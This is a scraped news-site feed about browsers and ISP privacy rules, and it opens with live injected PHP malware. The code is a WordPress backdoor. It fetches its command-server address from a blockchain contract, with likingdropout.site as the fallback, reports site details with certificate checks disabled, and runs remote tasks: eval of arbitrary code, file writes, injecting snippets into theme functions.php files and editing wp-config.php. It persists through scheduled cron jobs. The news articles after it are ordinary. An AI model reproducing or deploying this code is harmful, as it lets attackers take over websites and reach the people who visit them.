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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); browsing – Brief News https://briefnews.eu Latest World News. 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Google’s Chrome browser has had a swathe of handy updates recently that allow you to get around the web faster and more easily than ever.

With over one billion users, Chrome is officially the world’s most popular browser but many won’t have spotted the new features or know how to use them.

Luckily you’ve found the right place to learn everything you need to know about Chrome.

Here are Express.co.uk’s top shortcut tips and tricks for Google’s Chrome application.

OPEN CLOSED TABS

This is a hugely helpful option.

If you’ve ever needed to close a window or accidentally closed a tab and wanted it back, you’ve felt the pain this helps you avoid.

You can simply press Ctrl-Shift-T (Command-Shift-T on Mac) and the browser will bring back the closed tab with a memory that goes back as far as ten tabs.

GO INCOGNITO

Chrome users can now go under the cover of Incognito mode more easily and quickly using this handy shortcut.

Simply press Ctrl-Shift-N (Command- Shift-N on Mac) and the browser will open a new Incognito window ready to start browsing with privacy.

ENTER ADDRESS FASTER 

Navigating to the address bar to type in a search or a web address is easy until you lose your cursor on your screen.

Luckily there is a way to get back to the search bar.

Simply use the shortcut Ctrl and L (Command L on Mac) to move your cursor right there into the address bar.

SEARCH INSTANTLY

If all that sounds like too much faff then you can just search from right where you are.

Use Ctrl and K to search Google straight away from the address bar.

PIN YOUR FAVOURITE TABS

A nice way to get your favourite websites up faster, without using bookmarks, is to pin their tabs to the browser.

Simply right-click the tab you want and press “P” to move the tab to the left of the Chrome window in front of all the open tabs.

This will now be right there whenever you open Chrome. To remove it right click again and press “U”.

VIEW NEXT AND PREVIOUS TABS

Jumping between tabs can be a balancing act, especially if you have a lot open. Rather than hovering the mouse cursor on the right tab and risking hitting the close cross, use a shortcut.

To view the next tab along use Ctrl and Tab or to go to the previous tab use Ctrl and 9.

GET YOUR HISTORY UP FAST

To instantly see a list of where you’ve been online you can open your browsing history in a new tab.

Use the shortcut Ctrl and H (Command Y on Mac) to open up your history instantly.

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]]> https://briefnews.eu/google-chrome-these-ultimate-tips-and-tricks-will-make-your-browsing-better/feed/ 0 Google’s Safe Browsing now comes integrated into Android apps https://briefnews.eu/googles-safe-browsing-now-comes-integrated-into-android-apps/ https://briefnews.eu/googles-safe-browsing-now-comes-integrated-into-android-apps/#respond Wed, 18 Apr 2018 10:00:00 +0000 http://briefnews.eu/googles-safe-browsing-now-comes-integrated-into-android-apps/

Google’s Safe Browsing can now protect you from phishing attempts and harmful programs even if you’re not visiting websites on Chrome. Google Play Protect has added Safe Browsing to WebView, the component that allows Android apps to display web content, by default. Since developers don’t have to do anything to activate the feature, their apps will come integrated with the ability to warn you if you’re visiting a URL with potentially malicious content.

The capability is powered by the same underlying technology as Chrome on Android and will trigger the same red screen warning and network error. It can tell you if a website will prompt you to install dangerous software or to reveal sensitive info. Some developers will be able to customize the behavior, as well, but bottom line is that you might see the Safe Browsing screen more frequently in the future.

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]]> https://briefnews.eu/googles-safe-browsing-now-comes-integrated-into-android-apps/feed/ 0 MIT’s Veil service will make private browsing more private https://briefnews.eu/mits-veil-service-will-make-private-browsing-more-private/ https://briefnews.eu/mits-veil-service-will-make-private-browsing-more-private/#respond Sat, 24 Feb 2018 23:03:00 +0000 http://briefnews.eu/mits-veil-service-will-make-private-browsing-more-private/

After reports and studies revealed that browsers’ private modes aren’t that secure, MIT graduate student Frank Wang decided to take things into his own hands. He and his team from MIT CSAIL and Harvard have created a tool called Veil, which you could use on a public computer — or on a private one on top of using incognito mode and Tor if you have big secrets to keep or if you’ve just become paranoid after years of hearing about hacks and cyberattacks.

Wang said in a statement:

“Veil was motivated by all this research that was done previously in the security community that said, ‘Private-browsing modes are leaky — Here are 10 different ways that they leak. We asked, ‘What is the fundamental problem?’ And the fundamental problem is that [the browser] collects this information, and then the browser does its best effort to fix it. But at the end of the day, no matter what the browser’s best effort is, it still collects it. We might as well not collect that information in the first place.”

MIT explained that data tends to move between different cores in multicore chips and caches, which attackers could access by exploiting flaws. Once those memory banks are full, computers could transfer data to their hard drive, and browsers can’t always delete them. Veil works by encrypting a website before showing it on your screen. You’ll have to type out a URL on Veil’s website instead of your address bar, but it will work whatever browser you use. The encrypted Veil-version of a website will look like its ordinary counterpart, except it has a decryption algorithm embedded in the page. Without that algorithm, the website will be unintelligible — with it, the website’s data will only be loaded so long as it’s displayed on screen.

If that isn’t enough, Veil was designed to be able to offer even more security features. Its “blinding” server can add a bunch of nonsense code to every page, and no two pages with meaningless codes will be the same. Further, it can take a picture of the website you want to visit and serve you that photo. The image won’t have any executable code, but when you click on parts you want to see, Veil will send you an updated image.

It’s unclear whether you’ll have to endure a considerable lag to load encrypted websites or their photos. Developers will have to create Veil versions of their websites first, so we can test it out. Wang and his team created a compiler that can automatically do that, but that means you can only use Veil with websites that actively want to support it.

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]]> https://briefnews.eu/mits-veil-service-will-make-private-browsing-more-private/feed/ 0 ISPs can keep sharing your browsing history after California no-vote https://briefnews.eu/isps-can-keep-sharing-your-browsing-history-after-california-no-vote/ https://briefnews.eu/isps-can-keep-sharing-your-browsing-history-after-california-no-vote/#respond Sat, 16 Sep 2017 19:41:42 +0000 http://briefnews.eu/isps-can-keep-sharing-your-browsing-history-after-california-no-vote/

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California state lawmakers ended their legislative session yesterday without enacting privacy protections for broadband customers after the proposed rule drew opposition from Internet service providers and advertisers.

“By failing to pass A.B. 375, the legislature demonstrated that they put the profits of Verizon, AT&T, and Comcast over the privacy rights of their constituents,” the Electronic Frontier Foundation said today.

The California legislation would have required ISPs to obtain customers’ permission before they use, share, or sell the customers’ Web browsing and application usage histories. The data is valuable for serving personalized advertisements to Internet users. But the bill was shelved before reaching a final vote.

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]]> https://briefnews.eu/isps-can-keep-sharing-your-browsing-history-after-california-no-vote/feed/ 0 Mozilla’s new Firefox features improve browsing on iOS and Android https://briefnews.eu/mozillas-new-firefox-features-improve-browsing-on-ios-and-android/ https://briefnews.eu/mozillas-new-firefox-features-improve-browsing-on-ios-and-android/#respond Thu, 20 Jul 2017 22:58:37 +0000 http://briefnews.eu/mozillas-new-firefox-features-improve-browsing-on-ios-and-android/

Firefox is adding a few quality-of-life features to its mobile browsers. To celebrate hitting one million downloads in the month since it launched, the minimalistic, privacy-intensive Firefox Focus for Android now lets users download files, supports full-screen video and enables opening the browser right from notifications.

Firefox for iOS added a night mode to ease your nocturnal journeys across the web and a QR code reader for…whenever you need that. The browser will also display recently-visited sites and highlights from earlier sessions when users pop open a new tab, and the Feature Recommendations addition will point out time-saving shortcuts.

Source: Mozilla (iOS version), Mozilla (Android version)

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]]> https://briefnews.eu/mozillas-new-firefox-features-improve-browsing-on-ios-and-android/feed/ 0 Ambient light sensors can be used to snoop on us while we’re web browsing https://briefnews.eu/ambient-light-sensors-can-be-used-to-snoop-on-us-while-were-web-browsing/ https://briefnews.eu/ambient-light-sensors-can-be-used-to-snoop-on-us-while-were-web-browsing/#respond Sat, 22 Apr 2017 09:20:50 +0000 http://briefnews.eu/ambient-light-sensors-can-be-used-to-snoop-on-us-while-were-web-browsing/ There are more ways to access your data than by exploiting the various software vulnerabilities and hardware bugs that we seem to hear about on a daily basis. Our gadgets actually have all kinds of weaknesses that could allow nefarious parties to steal our information, and some of them are things we’d probably never consider.

One of those weaknesses stems from the fact that our PCs, tablets, and smartphones are stocked with sensors that extract information from our environments and use that data to make our devices more useful. Some researchers have found a way to use the innocuous-seeming ambient light sensor to grab potentially sensitive browser data and pass it along.

The ambient light sensor is used for a couple of purposes. It detects background light levels and adjusts screen brightness, and it works as a proximity sensor to determine when to shut off a smartphone’s screen during a call. As the researchers point out, the ambient light sensor is quite precise, and can measure light intensity from completely dark to incredibly bright.

The specific hack that the researchers developed uses the ambient light sensor to pick up color and lighting information from the screen by tapping into the data the sensor passes to the system. Because the sensor’s data is affected by what’s being displayed on the screen, it can be used in a variety of ways to pick up browser information that affects the light that the screen is giving off.

One simple example is the colors of visited links, which are normally obfuscated by the browser to avoid just this kind of snooping. Essentially, the light sensor readings can be used to distinguish between visited and unvisited links and thus inform an attacker as to which links the user had previously visited.

Another example involves using the ambient light sensor data to grab QR codes. That data can be used for such things as hijacking a user’s account when a QR code is used to provide emergency access to an account.

So far, the researchers have managed to create attacks that work in Firefox and Chrome on Android devices and on PCs with ambient light sensors. Certain problems exists, such as changing lighting conditions in real-world situations, and also screen brightness variations. Nevertheless, the attack presents yet another reason to wonder who might be stealing our information in ways that we’d never imagine — or prepare against.

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This week, President Donald Trump signed the widely–criticized bill repealing FCC ISP privacy rules, which would have required internet service providers to get opt-in consent before selling customers’ web browsing history. The rules hadn’t actually gone into effect, but the bill’s passage was a wake-up call for American internet users, who suddenly realized: Wait, what the hell, my ISP can sell my browsing history? And it’s not just that they can: they don’t have to make it easy, or even possible, to opt out.

Why you’re screwed

Without the repealed rules, the law dictating how ISPs get your consent for selling your data is very murky. In terms of browsing information, “each company can interpret what kind of consent is required,” according to Katharina Kopp, deputy director at the Center for Digital Democracy. The Communications Act requires that customers opt in before ISPs share their “proprietary information,” but without an FCC rule to interpret the statute, it’s unclear whether browsing history should count as proprietary information, and that lack of clarity means providers can decide for themselves that it doesn’t count. And without rules, there isn’t a standard for if or how they should provide options to opt out of data sharing, either. Even if ISPs’ data policies were in violation of the law, the lack of interpretation and the lack of will at the FCC means they’re unlikely to get in trouble for it.

Several ISPs, including Verizon and Comcast, signed onto voluntary set of principles on privacy earlier this year, which include a commitment to “offer an opt-out choice to use non-sensitive customer information for personalized third-party marketing.” (Non-sensitive information includes web browsing history, according to them.) Of course, as Dallas Harris, a policy fellow at the internet advocacy group Public Knowledge, told Gizmodo, “I can’t trust my ISP to come between noon and three, so the idea they say, we’ll promise we’ll do this, is not very reassuring.”

So we’re all left to the mercy of our ISPs and their privacy policies, which sucks. These companies are horrible to deal with—Comcast consistently ranks as one of the most hated in America—and the privacy policies are vague and confusing. After the bill was repealed, I received many emails from readers who had struggled to opt out of having their data sold, either by going to their ISP’s website or by contacting customer service. And after I got those emails, I did a little digging myself to see whether I, professional tech writer, could find out how to opt out with the biggest ISPs.

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It wasn’t easy. In fact, it was a frustrating, confusing, tear-your-hair-out experience.

There is no “opt-out” button

If opt-out options exist, they are hard to locate. It’s not as simple as logging into your ISP account and clicking a big red “opt out” button. My ISP, Comcast, does offer you the option of opting out of targeted ads (which isn’t the whole story—more on that later), but there’s no way to find that in your account settings online; in fact, as the company’s help page shows, the link is buried under an ad, in what appears to be the smallest font known to humans. I have Adblock turned on, so it doesn’t even show up for me.

ISP customer service is useless

As many readers found, calling your ISP to say that you want to opt out of having your data sold is infuriatingly futile. One reader who emailed me said they had called the CenturyLink customer service, “who informed me that the company does not take part in selling client personal or private data so there was nothing to opt out of.” But CenturyLink’s residential terms make clear that the company “gathers information about your Internet usage such as the sites visited,” “aggregates this information,” and “may share such aggregated information with other, trusted third parties from time to time.” (A CenturyLink spokeswoman wouldn’t comment on their privacy policies, even after repeated follow-ups, and instead directed me to a statement from US Telecom applauding the passage of the bill and a link to their privacy policy.)

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Another reader told us that when they chatted online with Charter Communications customer service they were told that they simply cannot opt out of services. “Currently we do not have this option where we can opt out customer personal information but I will make a note on your account and we will work on it and you can choose that option in coming time,” a representative told the reader.

It’s odd that customer service would make this claim when Charter’s privacy policy says you can opt out of allowing them to display targeted ads“based on Your [sic] personally identifiable information or general location derived from your Charter IP address.” You’d be forgiven if you didn’t poke around enough to find this page where you can opt out of targeted digital advertisements.

The privacy fine print is ambiguous legalese

In the absence of a helpful customer service rep, it’s time to dig into your ISP’s privacy policy and other fine print to find out what the deal is. That is no easy task, nor is it one that ISPs can reasonably expect people can do. Everyone knows that no one actually reads the privacy policies, but most consumers barely even know what a privacy policy is or does, according to Pew. Other research shows that it would take a month for consumers to read all of the privacy policies they agree to in a year.

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In their privacy policies, ISPs promise “personal information” won’t be sold, but aren’t totally clear about what that is. AT&T’s privacy policy, for example, states it doesn’t “sell your Personal Information to anyone, for any purpose. Period,” but it defines personal information as “information that directly identifies or reasonably can be used to figure out the identity of a customer or user, such as your name, address, phone number and e-mail address”—not web browsing or app usage data, which is the primary concern after last week’s bill. These sorts of tricks mean many customers are asking the wrong questions when they contact their ISPs. If you ask an AT&T rep if the company sells your personal information, they can reasonably say no.

These privacy policies also tend to promise that “personally identifiable” information won’t be sold, but make no promises about anonymous or aggregated data. Charter’s policy, for example, says “We may provide anonymous data to third parties who may combine it with other information to conduct more comprehensive audience analysis for us and for television advertisers.” But the policy doesn’t tell us what methods it uses to do so, or acknowledge that the company can’t just collect aggregate data—it has to be collected on an individual basis and then later aggregated.

That data collection has its own security implications: once it’s collected, it has to be stored somewhere, and that makes it vulnerable to hacking. It’s also not clear that “aggregated” data is the anonymity safeguard that ISPs want you to think it is: The American Library Association has pointed out the “surprising ease with which apparently anonymous data can be ‘reidentified,’” and recent research has bolstered this case.The more data points about a web user there are, the less anonymous that data is—and the more valuable it is to an advertiser.

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And even when ISPs offer opt-outs, they aren’t always that comprehensive or clear about what you’re not opting out of. Most ISPs allow you to opt out of targeted ads—AT&T calls this “Relevant Advertising,” while Charter allows you to opt out of Targeted Digital Marketing Ads by entering your email address. These opt-outs mean your ISP can’t sell your web history or other data to advertisers who then use that information to target their customers through ads displayed on that network.

But does that mean they won’t sell your web browsing history to advertisers for other uses—as in, for ads that aren’t displayed through their network, for building demographic profiles, or other purposes? Charter’s privacy policy, for example, says “may provide anonymous data to third parties who may combine it with other information to conduct more comprehensive audience analysis for us and for television advertisers.” That doesn’t seem to be covered by the one targeted advertising opt-out we found. None of these policies offer a definitive, clear way to opt out of having your browsing history sold for any purpose, not just targeted ads.

This is why we needed the FCC rules

The difficulty of opting out shows just why the FCC rules were needed. Those rules would have replaced this insane, burdensome process with a simple opt-in question, which is why ISPs fought it so hard—they want it to be hard for you to opt out, because they want to sell your data. As it stands, these privacy policies are extremely confusing, and actually finding out how to opt out and what data you have control over is really hard, even for someone who reports on tech policy and has nothing else to do all day.

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Customers concerned about privacy and the overturned FCC rules were united in deeming browsing history sensitive, private information that needs to be protected. ISPs just don’t, and they mislead customers by not being clear about that huge difference of opinion. And internet users shouldn’t have to spend an hour on the phone or reading privacy policies to figure that out.

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]]> https://briefnews.eu/want-to-stop-your-internet-provider-from-selling-your-browsing-data-it-aint-easy/feed/ 0 Dems urge Trump to veto bill allowing your internet provider sell your browsing history without your permission https://briefnews.eu/dems-urge-trump-to-veto-bill-allowing-your-internet-provider-sell-your-browsing-history-without-your-permission/ https://briefnews.eu/dems-urge-trump-to-veto-bill-allowing-your-internet-provider-sell-your-browsing-history-without-your-permission/#respond Sun, 02 Apr 2017 14:06:41 +0000 http://briefnews.eu/dems-urge-trump-to-veto-bill-allowing-your-internet-provider-sell-your-browsing-history-without-your-permission/ Donald TrumpAP

NEW YORK (AP) — Senate Minority Leader Charles Schumer is urging President Donald Trump to veto a resolution that would kill an online privacy regulation, a move that could allow internet providers to sell information about their customers’ browsing habits.

The New York senator and 46 other Senate Democrats have signed a letter calling on Trump to “tell us whose side he’s really on.”

The Federal Communications Commission rule issued in October was designed to give consumers greater control over how internet service providers such as Comcast, AT&T and Verizon share information. But critics say the rule would have stifled innovation and picked winners and losers among internet companies.

Schumer says if Trump signs the resolution, consumers “will be stripped of critical privacy protections in a New York minute.”


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]]> https://briefnews.eu/dems-urge-trump-to-veto-bill-allowing-your-internet-provider-sell-your-browsing-history-without-your-permission/feed/ 0 Cards Against Humanity Creator Threatens to Publish Congress’s Browsing History in Response to Anti-Privacy Bill https://briefnews.eu/cards-against-humanity-creator-threatens-to-publish-congresss-browsing-history-in-response-to-anti-privacy-bill/ https://briefnews.eu/cards-against-humanity-creator-threatens-to-publish-congresss-browsing-history-in-response-to-anti-privacy-bill/#respond Fri, 31 Mar 2017 10:19:07 +0000 http://briefnews.eu/cards-against-humanity-creator-threatens-to-publish-congresss-browsing-history-in-response-to-anti-privacy-bill/ On Tuesday, Congress voted along party lines to reverse an Obama-era online privacy bill that prohibited internet service providers from using customers’ personal information and online behavior to push highly targeted ads — without their knowledge or consent. After it was announced that the House would be voting on the bill, Matt Temkin, one of the creators of the party game Cards Against Humanity, vowed to buy and publish the browsing history of every member of Congress and congressional aide in retaliation. (H/T Roll Call.)

It’s not the first time Temkin has used his platform to promote a very of-the-moment, troll-ish brand of activism. Earlier this month, Cards Against Humanity caught wind of the fact that Republican Senator Ron Johnson of Wisconsin sent a cease and desist letter to a constituent who had been calling his office repeatedly. In response, Cards Against Humanity posted on its website, “Legally, we’re not allowed to call Senator Johnson a cruel idiot who doesn’t understand how health insurance works. But we are allowed to mail thousands of potatoes to his office demanding that he listen to his constituents and hold a town hall meeting.” A website, johnsonpotato.com, was set up to allow for the easy transfer of potatoes to Johnson’s Milwaukee office, in the hopes that the senator would schedule a town hall.

And in February, Temkin sent a copy of a board game called Secret Hitler to every U.S. senator along with a letter describing the game, which was funded via Kickstarter in 2015, as a party game that “models the rise of fascism in a democracy.” Hitler’s plan, the letter goes on, “required the cooperation of well meaning men who hoped to appease and control the Nazis. Our game explores that relationship and highlights the difficulty of recognizing your own manipulation before it’s too late. Although our game takes place in 1933 Germany, we thought you and your staff might find our game relevant as you negotiate the power of balance with the Trump White House.”

Now, Temkin is vowing to use Congress’s actions against its own members. Unsurprisingly, the pledge shot to the top of Reddit, where Temkin published a lengthy post late last night expressing amazement at the response. “We are incredibly excited to see Reddit rally behind a fair and open internet,” he wrote. “We couldn’t have started our company without it.” The post urges users to donate to the Electronic Frontier Foundation, a San Fransisco-based non-profit digital rights group, and points out that fulfilling this promise may be a long and tedious process involving Freedom of Information Requests.

But Temkin also expressed wariness at the amount of attention his proposal has invited. “Our basic human rights, like the right to privacy, are being sold to the highest bidder while the best minds of our generation are here on Reddit asking pro gamers if they want to fight a horse-sized duck or whatever,” he wrote. “Real, material change requires sacrifice. You probably can’t do it on a computer.” He mentions the activist website 5calls.org, adding, “If 100 Redditors called a congressman, it would freak them out and their staff would have to do something about it. It really doesn’t take much.” You heard the man.

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]]> https://briefnews.eu/cards-against-humanity-creator-threatens-to-publish-congresss-browsing-history-in-response-to-anti-privacy-bill/feed/ 0 For sale: Your private browsing history https://briefnews.eu/for-sale-your-private-browsing-history/ https://briefnews.eu/for-sale-your-private-browsing-history/#respond Wed, 29 Mar 2017 03:26:18 +0000 http://briefnews.eu/for-sale-your-private-browsing-history/

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The US House of Representatives voted Tuesday to eliminate ISP privacy rules, following the Senate vote to take the same action last week. The legislation to kill the rules now heads to President Donald Trump for his signature or veto.

The White House issued a statement today supporting the House’s action, and saying that Trump’s advisors will recommend that he sign the legislation. That would make the death of the Federal Communications Commission’s privacy rules official.

The rules issued by the FCC last year would have required home Internet and mobile broadband providers to get consumers’ opt-in consent before selling or sharing Web browsing history, app usage history, and other private information with advertisers and other companies. But lawmakers used their authority under the Congressional Review Act (CRA) to pass a joint resolution ensuring that the rules “shall have no force or effect” and that the FCC cannot issue similar regulations in the future.

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